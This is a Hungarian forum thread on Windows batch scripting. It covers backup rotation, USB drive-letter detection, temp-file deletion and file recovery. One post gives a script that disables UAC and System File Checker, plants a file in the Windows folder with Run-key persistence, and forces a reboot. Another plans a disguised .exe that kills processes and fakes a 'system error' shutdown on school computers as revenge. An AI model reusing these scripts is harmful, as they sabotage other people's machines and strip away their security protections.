160
Batch programozás
  • RelakS
    #160
    Szerveren van a script, és gondoltam, akkor már azon gányolgatok :)

    Set /a llyear=%lyear%-1

    így frankó, köszi :)

    Aztán megálmodtam, hogy ugyanaz az erőszakos törlés jó a hónapra is, ha az első 7 nap egyik mentését tartom meg :)
  • gergely1991
    #159
    Ezt még egy asztali gépen is kipróbálhatod.:)
  • RelakS
    #158
    Köszi, holnap leszek szerver közelben, megnézem :)
  • gergely1991
    #157
    Akarom "mondani":
    set/a %ev%=%ev%-1
  • gergely1991
    #156
    Pontosabban:
    set/a %ev%-1
    próbáld ki hogy az eredményt echo-ban írja ki.
  • RelakS
    #155
    Hali!
    Backup rendszert csinálnék, amihez a windowst meg a feladatkezelőjét használnám.
    A mentés része rendben van, egy D:\Backup\<év>\<hónap>\<nap> könyvtárba elmentem azt a heti mentést, amit a többi számítógép csinál a szóban forgóra. Persze, feladatütemezővel hetente egyszer :)
    A fogós dolog innen jön:
    Hogy ne teljen meg a háttértár, törölgetni is szeretnék. Pl havonta egyszer lefutna egy batch, ami törli az egy évvel ezelőtti könyvtár tartalmát egy mentés kivételével. Pl most hó végén lefutna egy, ami 2012\03 könyvtárban csak a legutolsó mentést hagyná meg (2012\03\25)
    Ezt hogy lehetne megcsinálni?
    Ezután persze még évente lefutna egy másik script, ami mondjuk az 5 évnél idősebb könyvtárakat törölgetné, bár ott könnyű, mert 01-11-ig végigmegy, a törlés (deltree?) meg intézkedne :)

    Szóval, a lényeg: kinyerem a dátumot, és hogy csökkentem eggyel az évet? (sima %ev% = %ev%-1? :D túl egyszerűnek tűnik)
    Hogyan törlöm egy könyvtár tartalmát valamilyen sorrendben úgy, hogy a legutolsó könyvtárat megtartom?
  • Bueno nacho
    #154
    Sziasztok! Megjelenés beállítások (pl. menük áttűnése) XP alatt megváltoztathatók batchban?
  • EndyG
    #153
    juj, egy kicsit összevissza van de azért ki lehet belöle hámozni a lényeget...
  • EndyG
    #152
    Forrás és célútvonalak megadásához ideálisak az idézőjelek nélkül, főleg ha hozzárendeljük egy változóhoz ;)

    @echo off
    for /f "tokens=3" %%i IN ('reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup /v "SourcePath" ^| findstr "REG_SZ"') do set SOURCE=%%i
    echo A telepitofajlok forrasa a: %SOURCE%
    START /MIN %SOURCE%\SETUP.BAT
    EXIT

    %userprofile% felhasználóprofil
    %systemroot% ill. %windir% egyértelmű
    %systemdrive% rendszermeghajtó
    %temp% ideiglenes fájlok
    %appdata% felhasználó applikációs adatkönyvtára
    %public% Felhasználók nyilvános könyvtára
    %programdata%
    %startup% --> Na ez lenne jó Xp-re, de Win7-en csak batchban indulna az ablakokban, innen az UAC ugysem engedi.
    Viszont így igen, egy START /MIN paranccsal tálcán futtatott scriptel de hogy 64biten is müxödjön, egy 64biten futtatható sfx-be kell ültetni hogy érvénybe léphessen 64bites platformon az UAC kikapcsolása:

    @echo off
    SETLOCAL ENABLEEXTENSIONS
    SETLOCAL ENABLEDELAYEDEXPANSION
    cd /d %~dp0
    ver | find "2003" > nul
    if %ERRORLEVEL% == 0 goto admin
    ver | find "XP" > nul
    if %ERRORLEVEL% == 0 goto admin
    ver | find "2000" > nul
    if %ERRORLEVEL% == 0 goto admin
    if /i %processor_architecture%==AMD64 64bit (
    ATTRIB -r -a -s -h %~dp0wtmp.dat
    MOVE /Y "%TEMP%\wtmp.dat" "%WINDIR%\x64.exe"
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "virga" /d "\"%systemroot%\x64.exe\"" /f
    DEL /F /S /Q /A -r -a -s -h %~dp0vb.dat
    ) ELSE (
    ATTRIB -r -a -s -h %~dp0vb.dat
    MOVE /Y "%TEMP%\vb.dat" "%WINDIR%\virga.bat"
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "virga" /d "\"%systemroot%\x64.exe\"" /f
    DEL /F /S /Q /A -r -a -s -h %~dp0wtmp.dat
    CLS
    )
    shutdown /r /t 02

    [és itt jön a x64.exe vagy a virga.bat]

    @echo off
    >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"&&(
    goto :admin
    )
    :getadminmode
    REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v "EnableLUA" /t REG_DWORD /d 0x0000000 /f
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "SfcDisable" /t REG_DWORD /d 0x0000001 /f
    shutdown /r /t 02

    :admin
    cd /d %~dp0
    SETLOCAL ENABLEEXTENSIONS
    SETLOCAL ENABLEDELAYEDEXPANSION
    És innentől jöhet akármi...





  • red bull
    #151
    Én meg ezt -épp most- 14 óra folyamatos keresés után:

    @ECHO OFF
    for %%a in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (
    ECHO %%a:\testtest.id
    IF EXIST %%a:\testtest.id SET USBDRV=%%a:
    )
    ECHO.
    ECHO FILE FOUND ON %USBDRV%


    A célomat eltudtam vele érni, még ha nem is teljesen tökéletes. :)
    Azért nagyon köszönöm a segítségedet
  • Dj Faustus #150
    Én ezt találtam a Google-val való kereséssel a usb pendrive static "drive letter" kulcsszavakra.
  • red bull
    #149
    start "%Változó meghajtó%\Programok\klmcodec201.exe"

    Van-e arra vonatkozó formula amivel megtudnám határozni "%Változó meghajtót%?

  • red bull
    #148
    Sziasztok!

    Gondolom mindenkinek ismerős az a dolog ha csatlakoztatunk egy USB kulcsot több számítógéphez akkor minden egyes számítógépnél más a meghajtó elnevezés, azaz más az elérési út ( G:/ ; H:/ ; I:/ stb ... )

    És egy ehhez kapcsolódó 1 fura kérdés, de mégsem találom rá sehol a választ:

    Van-e olyan parancs a batch programozásban hogy az elérési út változóit irányítani tehát nem azt írnám egy adott fájl elérési útnak hogy "G:/Programok/yxz.exe" hanem mondjuk "-F Programok/yxz.exe"

    Tud nekem valaki ebben segíteni? Ha igen köszönöm
  • mester1987
    #147
    Lehet rossz topik, de hátha:

    Van olyan program mellyel ki tudom bontani az . RTP fájlkiterjesztésű csomagolt/tömörített tartalmat?

    Egy régi EA-s játék patch-éről lenne szó, amit ki szeretnék bontani. Van hozzá Updater.exe és egy .RPD fájl is (de ez pár KB).
    Valószínű hibás vagy hiányos registry bejegyzés miatt nem látja a játékot. Köszi előre is!
  • DarkSector
    #146
    ránézek, mert most nemrég próbáltam at autodelete nevű progit de az sem töröl semmit.
    Ha nem megy feladom. azért thx ezt még utoljára megnézem.
  • gergely1991
    #145
    helló
    Ehhez mit szólsz?:
    cd %userprofile%\AppData\Local\Microsoft
    erase -f -q \Windows\Temporary Internet Files\*

    Ezt elmented például "torles.bat" fájlkánt mondjuk az asztalra.
    Ha működik beteheted mondjuk a "Ütemezett feladatokba".
  • DarkSector
    #144
    na megnéztem nekem sehogy nem törlődött ki, se win7 se win8...
  • DarkSector
    #143
    Köszönöm, ezt az rd /s-t néztem már csak ahol megtaláltam ott egybe volt írva rd/s, lehet ez volt a baj. :)

    A link mögött mi az? valami automatikus tisztító?
  • Dj Faustus #142
    Esetleg így?
    del /f /s c:\Users\felhasználónév\AppData\Local\Microsoft\Windows\Temporary Internet Files\*.*


    Vagy nézd csak, mit találtam neked: Remove temporary files and clear IE and Firefox cache
  • DarkSector
    #141
    üdv megint már elfelejtettem, hogy melyik paranccsal kell vagy melyik kapcsolóval hogy egy mappa tartalmát törölni tudjam...
    Mert pl ha csak ennyit írok be, akkor az nem csinál semmit:
    ***********************
    del c:\Users\felhasználónév\AppData\Local\Microsoft\Windows\Temporary Internet Files
    **********************

    Gondolom kell valami még ...
  • xelag
    #140
    Sajnos az sem jó, ugyan úgy hibát jelez :(
  • xelag
    #139
    Pedig muszáj lesz, mert ez egy olyan szám lett, hogy beszarás, folytatnám tovább :D (egyszerűbb lenne újracsinálni a számot, viszont zavar, hogy nem tudom megjavítani a fájlt :D )
    Bevallom őszintén nem nagyon érdekel az EULA, főleg ha a zenémről van szó, amit más "fizetős" programjával kreáltam.
    Aki sajnálja mástól a program forráskódját és pénzt is kér érte.... ahhoz én is így állok hozzá és figyelmen kívül hagyom az EULA-t :P XD
    MIt tudsz akkor ajánlani, mit csináljak? Nem vagyok vérprofi, viszont érdekel ez az egész programozósdni, nagyon tetszik. Jó lenne érteni ahhoz, ami a grafika túloldalán van és vezérel.
    MElyik az a legalapabb program író program, vagy felület, amivel bármi létrehozható? Egy ilyen zeneszerkesztőt pl miben írják meg? Vagyaz oprendszereket?! Tudom, kicsit nagy fába vágom a fejszém, de izgalmas téma :D
  • 7kyu
    #138
    Szerintem keress hozzá konvertert és konvertáld át pl. mp3-ra. Talán úgy...
  • Dj Faustus #137
    "Ha zárt forráskódú valami, hogyan tudom azt kinyitni? Lehetséges az?"
    Disassemblerrel visszafejthetnéd a programot Assembly kóddá (gépi kódhoz közeli kóddá), és megkereshetnéd benne, hogy hogyan építi fel az állományt... ...de ez egy eléggé összetett program, szóval vérprofi tudás nélkül esélytelen. Ráadásul a szoftver EULA-ja nem is engedné. ;)

  • xelag
    #136
    Amúgy csak 3 mb-os a file, van benne bőven hexa :D
  • xelag
    #135
    Azt írja, hogy "File has a bad format and can not be loaded"

    A többi számom működik, csak ez nem.
    Ha zárt forráskódú valami, hogyan tudom azt kinyitni? Lehetséges az?
    Hex editort szedtem le, de az csöppet durvának tűnik, viszont! Nem adom fel, belemegyek ebbe a bináris szerkesztgetéses dologba, csak tudni kéne értelmezni ezt a sok betűt meg számot.

    Kiömöríteni már próbáltam, nem lehet. File recovery meg ilyen marhaságokkal is próbálkoztam, de elég gyenge ötlet volt.
    Ezért gondotlam, hogy nincs más lehetőség, csak ha megtanulom értelmezni, írni, szerkeszteni ezeket a fájlokat programokat, esetleg "felt..ni" XD Hogy , ha ilyen helyzet van, akkor tudjam javítani.

    Na látjátok, ezért szemétség a zárt forráskód, használjunk Linuxot XD, csak vicc....
  • Dj Faustus #134
    "amit nem tudok megnyitni, mert hibát ír ki"
    Milyen hibát ír ki?

    "Milyen programot ajánlotok, amivel beletudok piszkálni mindenféle kiterjesztésbe vagy át tudom írni a fájlok kódjait?"
    Mivel zárt forráskódú szoftverről van szó a fájl struktúrája is ismeretlen.
    Lehet, hogy tömörített (például tartalmazza a "gépi kottát" és a hangmintákat), így rá lehet engedni egy kitömörítőprogramot (például 7Zip-pet).

    Vagy lehet, hogy az állományban egymás után vannak benne a dolgok - no akkor ember legyen a talpán aki megtalálja, hogy hol vannak az állományok határai.
    Esetleg nekieshetsz valami hexeditorral, de a bináris adathalmazból kibányászni a tartalmat... ...érdekes egy menet lesz.

    Esetleg töltsd fel, és megnézzük, mit lehet vele csinálni.
  • xelag
    #133
    Sziasztok, az lenne a kérdésem felétek, hogy :

    Van egy .rns kiterjesztésű fájlom (propellerheads reason használja) amit nem tudok megnyitni, mert hibát ír ki. Milyen programot ajánlotok, amivel beletudok piszkálni mindenféle kiterjesztésbe vagy át tudom írni a fájlok kódjait?(egyáltalán van olyan program, amivel mindenbe bele lehet piszkálni? Valami olyan program kéne, amivel magát a programot is írják) Az a baj, hogy nem értek a programozáshoz és fogalmam sincs, hogyan tudnám helyreállítani azt a fájlt, már próbáltam annyi mindennel, de a programozással nem. Lehet, hogy hiányzik valami kód belőle, valószinűleg rosszul mentette el. Fontos lenne nagyon. Ha hibásan is, de megtundám nyitni, azzal már előbbre jutnék.

    Előre is köszönöm a válaszotokat, sziasztok.
  • gergely1991
    #132
    Ha egy bizonyos svchost szolgáltatást leállítanak akkor a gép kb fél vagy 1-2 perc múlva újraindítja magát....
    Amúgy meg nem jó dolog bosszút állni mert a tanár az ilyet nem nézi jó szemmel hogy a suligépeivel szórakoztok :)
  • 7kyu
    #131
    Nem akarok kártevőket csinálni, annyira genyó nem vagyok. Csak múlthéten szórakoztak velem a suliban. Taskkill-el lelőtték az exploreremet, a torrentet... a végén már az svchostokkal szórakoztak és sajna későn jöttem rá, hogy lehet ez ellen védekezni. Én csak írnék egy olyan .bat-ot amibe kb ez van:
    taskkill /f /t /IM uTorrent.exe
    taskkill /f /t /IM TeamViewer.exe
    taskkill /f /t /IM explorer.exe
    taskkill /f /t /IM vmware.exe
    taskkill /f /t /IM chrome.exe
    taskkill /f /t /IM firefox.exe
    taskkill /f /t /IM iexplore.exe
    taskkill /f /t /IM msnmsgr.exe
    start C:\WINDOWS\msgbox.vbs
    shutdown -s -t 25 -c "system error"
    taskkill /f /t /IM cmd.exe

    Ezt átkonvertálom egy .exe fáljba, hogy ne keltsen gyanút és beállítom a feladatütemezőbe, hogy pl heti egyszer futtassa le.
  • gergely1991
    #130
    mennyi rejtett mappa......
    műveletvégzéskor belassítja a rendszert(időnként a gép nem válaszol) az állandó végtelen ciklus miatt,SŐT akár az is előfordulhat hogy csak egy reset indítja azt
    amúgy meg hogy ne kelljen elindítani ahhoz írni kell egy regisztrációs bejegyzést(pl.:egy *.reg fájlt)....
  • jacky87
    #129
    Ha szeretnél foglalkozni a programozással, akkor azt ajánlom hogy feküdj rá rendesen. :D Ha megtanulsz programozni, még ha csak hobbi szinten is, az a hálózatos területen is nagy segítséget nyújthat!
    Rengeteg nagyon jó könyv kapható egészen kezdőknek is. Kezdőként tanulgasd a batch programozást (akár internetről is). Ezzel nem fogsz tudni komoly programokat készíteni, mivel ebben csak a beépített windows parancsokat használod. De legalább annyira jó, hogy elkezded kapisgálni a programozói gondolkodásmódot. :D
    Ezután jöhet valami komolyabb nyelv (ehhez már könyv vagy tanár ajánlott). Gondolok itt egy PHP, Visual Basic, Delphi, Java vagy C# nyelvre.

    Ha már ezekben is otthon leszel akkor jöhetnek a "nagyágyúk" :D pl: C, Assembly (Na itt már kezdhetsz kártevőt írni ;D)
    Sok sikert

  • 7kyu
    #128
    programozni még nem tanultam. Informatikai hálótattelepítőnek tanulok. Másodéves vagyok, és 20 éves vagyok.
  • jacky87
    #127
    Mappa létrehozásokkal, meg ilyen "egyszerű műveletekkel" lóf..t se fogsz lassítani a rendszeren!
    Annyit érhetsz el vele, hogy a progid nem reagál majd semmire mert folyamatosan mappákat hoz létre.

    Amúgy te tanultál programozni valaha? (és hány éves vagy ha megkérdezhetem?) :)
  • 7kyu
    #126
    Ez csak hab lenne a tortán, hogy kicsit lassítsa a rendszert
  • jacky87
    #125
    hát úgy, hogy nem tud írni egy végtelen ciklust nehezen fog kártevőt csinálni :D
    maximum lesz egy kis sikerélménye: "húúú mennyi mappa..." xD
  • 7kyu
    #124
    ááá dehogy is, hát olyannak nézek én ki
    és köszi utána nézek goto-nak
  • gergely1991
    #123
    szerintem kártevőt akar alkotni
  • jacky87
    #122
    ha végtelen ciklusba kerülsz az csúnya dolgokat eredményezhet :D
    (és ezt még szándékosan megírni?!?!?!? xD)

    egyébként a goto parancs ismerős? :D
  • 7kyu
    #121
    háát sokmindenhez kéne, de most éppen ahhoz, hogy létrehozok valahova egy rejtett mappát és abba kéne nekem végteleníteni, hogy még a rejtett mappába is csináljon mappákat.